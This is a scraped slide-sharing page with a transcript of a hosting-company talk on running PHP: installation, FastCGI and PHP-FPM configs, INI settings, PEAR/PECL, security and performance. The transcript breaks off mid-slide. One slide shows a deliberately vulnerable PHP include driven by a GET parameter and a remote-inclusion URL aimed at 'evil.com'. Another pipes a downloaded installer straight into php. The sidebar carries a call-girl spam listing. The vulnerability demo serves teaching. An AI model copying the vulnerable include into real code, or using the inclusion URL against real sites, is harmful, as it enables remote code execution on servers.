2013 - Dustin whittle - Escalando PHP en la vida real2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida realPHP Conference Argentina
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHPJonathan Klein
 
PHP from soup to nuts Course Deck
PHP from soup to nuts Course DeckPHP from soup to nuts Course Deck
PHP from soup to nuts Course DeckrICh morrow
 
Upstate CSCI 450 PHP Chapters 5, 12, 13
Upstate CSCI 450 PHP Chapters 5, 12, 13Upstate CSCI 450 PHP Chapters 5, 12, 13
Upstate CSCI 450 PHP Chapters 5, 12, 13DanWooster1
 
PHP & Performance
PHP & PerformancePHP & Performance
PHP & Performance毅 吕
 
Php extensions workshop
Php extensions workshopPhp extensions workshop
Php extensions workshopjulien pauli
 
Php7 extensions workshop
Php7 extensions workshopPhp7 extensions workshop
Php7 extensions workshopjulien pauli
 
Eugene PHP June 2015 - Let's Talk Laravel
Eugene PHP June 2015 - Let's Talk LaravelEugene PHP June 2015 - Let's Talk Laravel
Eugene PHP June 2015 - Let's Talk Laravelanaxamaxan
 
Orange@php conf
Orange@php confOrange@php conf
Orange@php confHash Lin
 

Semelhante a Php through the eyes of a hoster confoo (20)

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
 
Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10
 
2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real
 
Phalcon 2 - PHP Brazil Conference
Phalcon 2 - PHP Brazil ConferencePhalcon 2 - PHP Brazil Conference
Phalcon 2 - PHP Brazil Conference
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHP
 
PHP from soup to nuts Course Deck
PHP from soup to nuts Course DeckPHP from soup to nuts Course Deck
PHP from soup to nuts Course Deck
 
php basics
php basicsphp basics
php basics
 
Upstate CSCI 450 PHP Chapters 5, 12, 13
Upstate CSCI 450 PHP Chapters 5, 12, 13Upstate CSCI 450 PHP Chapters 5, 12, 13
Upstate CSCI 450 PHP Chapters 5, 12, 13
 
PHP & Performance
PHP & PerformancePHP & Performance
PHP & Performance
 
Basics PHP
Basics PHPBasics PHP
Basics PHP
 
Running php on nginx
Running php on nginxRunning php on nginx
Running php on nginx
 
Php extensions workshop
Php extensions workshopPhp extensions workshop
Php extensions workshop
 
Php
PhpPhp
Php
 
Php7 extensions workshop
Php7 extensions workshopPhp7 extensions workshop
Php7 extensions workshop
 
PHP Conference - Phalcon hands-on
PHP Conference - Phalcon hands-onPHP Conference - Phalcon hands-on
PHP Conference - Phalcon hands-on
 
Running PHP on Nginx
Running PHP on NginxRunning PHP on Nginx
Running PHP on Nginx
 
Phalcon - Giant Killer
Phalcon - Giant KillerPhalcon - Giant Killer
Phalcon - Giant Killer
 
Eugene PHP June 2015 - Let's Talk Laravel
Eugene PHP June 2015 - Let's Talk LaravelEugene PHP June 2015 - Let's Talk Laravel
Eugene PHP June 2015 - Let's Talk Laravel
 
Orange@php conf
Orange@php confOrange@php conf
Orange@php conf
 

Mais de Combell NV

Play it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringPlay it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringCombell NV
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellCombell NV
 
Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Combell NV
 
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalBack-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalCombell NV
 
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCombell NV
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellCombell NV
 
Hoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleHoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleCombell NV
 
Een webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieEen webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieCombell NV
 
Hoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceHoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceCombell NV
 
Keeping the cloud in check cvodmd
Keeping the cloud in check cvodmdKeeping the cloud in check cvodmd
Keeping the cloud in check cvodmdCombell NV
 
Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Combell NV
 
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 sslCombell NV
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupalCombell NV
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magentoCombell NV
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogoneCombell NV
 
10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doenCombell NV
 
Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Combell NV
 
Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Combell NV
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoftCombell NV
 
11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallenCombell NV
 

Mais de Combell NV (20)

Play it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringPlay it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekering
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?
 
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalBack-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanval
 
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Hoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleHoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals Google
 
Een webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieEen webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessie
 
Hoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceHoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerce
 
Keeping the cloud in check cvodmd
Keeping the cloud in check cvodmdKeeping the cloud in check cvodmd
Keeping the cloud in check cvodmd
 
Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012
 
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone
 
10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen
 
Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012
 
Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft
 
11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen
 

Último

Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slidespraypatel2
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Enterprise Knowledge
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CVKhem
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)wesley chun
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 

Último (20)

Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slides
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 

Php through the eyes of a hoster confoo

  • 1. PHP  through  the  eyes  of  a  hoster Thijs  Feryn Evangelist +32  (0)9  218  79  06 thijs@combellgroup.com
  • 2. Very  excited  to  be  here  !
  • 4.
  • 7.
  • 8.
  • 9.
  • 11. Please   rate  my  talk  on   Joind.in https://joind.in/6090
  • 12.
  • 13.
  • 14. Chapter  I  :  The  hoster,  a  genuine  stakeholder  in  the   PHP  universe
  • 15. Stakeholders Customer Development  company Endusers MGMT Devs MGMT Design PM Internal Internal IT PM Sales QA Systeam Consultant Hoster PHP  community
  • 16. Stakeholders Somewhere  along  the  road  ... Your  app  needs  to  be  hosted
  • 17. Goals  &  moves Our  goals  &  moves  are  the  same  as  yours: • It  has  to  work • It  has  to  perform • It  has  to  scale • It  has  to  be  secure • It  has  to  be  available
  • 18.
  • 19.
  • 20.
  • 21. What  about  the  Cloud?
  • 22. Chapter  II:  Installaon  &  configuraon
  • 23. There’s  more  than  just  Apache
  • 24. Installing  from  source server$  ./configure  -­‐-­‐with-­‐ttf  -­‐-­‐with-­‐freetype-­‐dir=/ usr/lib  -­‐-­‐prefix=/data/jail/usr/local/php-­‐5.3.8  -­‐-­‐ with-­‐mysql  -­‐-­‐with-­‐mysqli  -­‐-­‐with-­‐mssql  -­‐-­‐enable-­‐exif   -­‐-­‐enable-­‐soap  -­‐-­‐with-­‐mcrypt  -­‐-­‐with-­‐mhash  -­‐-­‐with-­‐curl   -­‐-­‐enable-­‐mbstring  -­‐-­‐with-­‐gettext  -­‐-­‐with-­‐zlib  -­‐-­‐ enable-­‐ftp  -­‐-­‐with-­‐openssl  -­‐-­‐with-­‐xsl  -­‐-­‐with-­‐db4  -­‐-­‐ with-­‐pgsql  -­‐-­‐enable-­‐calendar  -­‐-­‐enable-­‐bcmath  -­‐-­‐with-­‐ bz2  -­‐-­‐with-­‐imap=/data/jail/usr/local/imap  -­‐-­‐with-­‐ imap-­‐ssl  -­‐-­‐with-­‐pdo-­‐mysql=/usr/bin/mysql_config  -­‐-­‐ with-­‐jpeg-­‐dir=/usr/lib  -­‐-­‐with-­‐gd  -­‐-­‐enable-­‐zip  -­‐-­‐with-­‐ xmlrpc  -­‐-­‐enable-­‐sockets   server$  make server$  make  install
  • 25. Installing  using  a  package  manager  (APT/Aptude) Install  PHP: server$  apt-­‐get  install  php5 Install  MySQL  library  for  PHP: server$  apt-­‐get  install  php5-­‐mysql
  • 26. SAPI  ...  schmapi Mod_php FastCGI PHP-­‐FPM CLI Apache   Web gateway -­‐ module Apache   php-­‐fpm   Process php-­‐cgi php process daemon Apache  conf   config  per   Configuraon wrapper on  the  fly files pool shell  user  or   User Apache  user user  per  pool shell  user suexec  user
  • 27. FastCGI Example  config: • Apache  handler    <IfModule  mod_fcgid.c>        SuexecUserGroup  dev  dev        PHP_Fix_Pathinfo_Enable  1        <Directory  /var/www/dev/www/>            Options  +ExecCGI            AllowOverride  All            AddHandler  fcgid-­‐script  .php            FCGIWrapper  /var/www/dev/etc/fcgi.wrapper  .php            Order  allow,deny            Allow  from  all        </Directory>    </IfModule>
  • 28. FastCGI Example  config: • Wrapper  script #!/bin/sh PHPRC=/usr/local/php-­‐5.3.10/etc export  PHPRC export  PHP_FCGI_MAX_REQUESTS=5000 export  PHP_FCGI_CHILDREN=8 exec  /usr/local/php-­‐5.3.10/bin/php-­‐cgi
  • 29. PHP-­‐FPM Example  config  in  Nginx: server  {        root  /var/www;        index  index.php  index.html  index.htm;        server_name  myserver.ext;        location  /  {                        try_files  $uri  $uri/  /index.html;        }        location  ~  .php$  {                fastcgi_split_path_info  ^(.+.php)(/.+)$;                fastcgi_pass  127.0.0.1:9000;                fastcgi_index  index.php;                include  fastcgi_params;        } }
  • 30. PHP-­‐FPM Example  config  in  PHP-­‐FPM  main  www  pool: [www] user  =  www-­‐data group  =  www-­‐data listen  =  127.0.0.1:9000 listen.owner  =  www-­‐data listen.group  =  www-­‐data listen.mode  =  0666 listen.allowed_clients  =  127.0.0.1 pm  =  dynamic pm.max_children  =  10 pm.start_servers  =  4 pm.min_spare_servers  =  2 pm.max_spare_servers  =  6 pm.max_requests  =  500
  • 31. INI  sehngs:  tales  of  good  &  evil
  • 32. INI  sehngs:  tales  of  good  &  evil Defining  INI  sehngs: • Php.ini • Ini_set() • “-­‐d”   • php_value • php_flag • php_admin_value • php_admin_flag
  • 33. INI  sehngs:  tales  of  good  &  evil Memory_limit: Fatal  error:  Allowed  memory  size  of  16777216   bytes  exhausted  (tried  to  allocate  35  bytes)
  • 34.
  • 35. INI  sehngs:  tales  of  good  &  evil Safe_mode  &  Open_basedir: <IfModule  mod_php5.c>        php_admin_flag  engine  on        php_admin_flag  safe_mode  off        php_admin_value  open_basedir  "/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>
  • 36. INI  sehngs:  tales  of  good  &  evil Allow_url_fopen  &  allow_url_include: <?php $lang= $_GET['lang']; require("$lang.php"); http://domain.ext/index.php?lang=http://evil.com/hack.txt?
  • 37. Chapter  III:  Versions  &  features
  • 38. PHP  4:  End  of  life,  but  far  from  dead
  • 39. PHP  4:  End  of  life,  but  not  yet  dead Parse  error:  syntax  error,  unexpected  T_STRING,   expecting  T_OLD_FUNCTION  or  T_FUNCTION  or  T_VAR   or  '}'  in  test.php  on  line  4
  • 41. It  HAS  to  be  PHP  5.3.10  !!!
  • 42. I  need  ALL  PHP  extension  !!!
  • 43. I  use  ALL  PHP  features  !!!
  • 45. Fruit  &  vegetables:  PEAR  &  PECL
  • 46. Fruit  &  vegetables:  PEAR  &  PECL PEAR PHP  Extension  and  Applicaon  Repository  (h#p//pear.php.net) server$  lynx  -­‐source  http://pear.php.net/go-­‐pear  |  php server$  pear  install  date
  • 47. Fruit  &  vegetables:  PEAR  &  PECL PECL  (pickle) PHP  Extension  Community  Library  (h#p//pecl.php.net) server$  pecl  install  pecl_http
  • 48. External  frameworks Popular  frameworks  outside  the  PHP  project
  • 49. Chapter  IV:  PHP  aoracts  a  crowd
  • 51. That  easy  ! <?php echo "Hello world!";
  • 54. Everyone  can  be  a  PHP  developer
  • 55. But  not  everyone  has  what  it  takes
  • 56. Luckily  there’s  a  lot  ready-­‐to-­‐use  PHP  soqware  out   there
  • 57. Who  you  gonna  call  ?
  • 58. But  when  helpers  need  help  ...
  • 59. They  reach  out  to  the  PHP  community User  Group  meengs Twioer Blogs Forums PHP.net IRC Conferences
  • 60. Chapter  V:  Here  be  phpirates
  • 62. Fact “The  majority  of  hacking/absue  cases  are  PHP  related”
  • 63. False  assumpons “Open  source  is  evil” “PHP  has  lots  of  security  vulnerabilies  and  is  not  mature”
  • 64. Here  be  phpirates The  real  issues • Quality  of  the  code • Network  &  server  security • PHP  version  &  configuraon
  • 68. Scalability  ==  constant  speed  under  increasing  load
  • 73. mysql>  explain  SELECT  field1,  (SELECT  COUNT(*)  FROM  table2  WHERE  field3  =   table1.id)  FROM  table1  WHERE  field2  =  1    ORDER  BY  field4  DESC  limit   12,12; ***************************  1.  row  ***************************                      id:  1    select_type:  PRIMARY                table:  table1                  type:  ALL possible_keys:  approved                    key:  approved            key_len:  NULL                    ref:  NULL                  rows:  3143                Extra:  Using  where;  Using  filesort ***************************  2.  row  ***************************                      id:  2    select_type:  DEPENDENT  SUBQUERY                table:  table2                  type:  ALL possible_keys:  NULL                    key:  NULL            key_len:  NULL                    ref:  NULL                  rows:  1005                Extra:  Using  where
  • 74. mysql>  show  processlist; +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  Id        |  User  |  Host            |  db  |  Command  |  Time  |  State                                |  Info         | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  63515  |  root  |  localhost  |  db  |  Query      |        0  |  NULL                                  |  show   processlist                                                                | |  81763  |  root  |  localhost  |  db  |  Sleep      |    105  |                                            |  NULL         | |  85187  |  root  |  localhost  |  db  |  Query      |        0  |  Sending  data                  |  SELECT   data  from  someTable  where  field  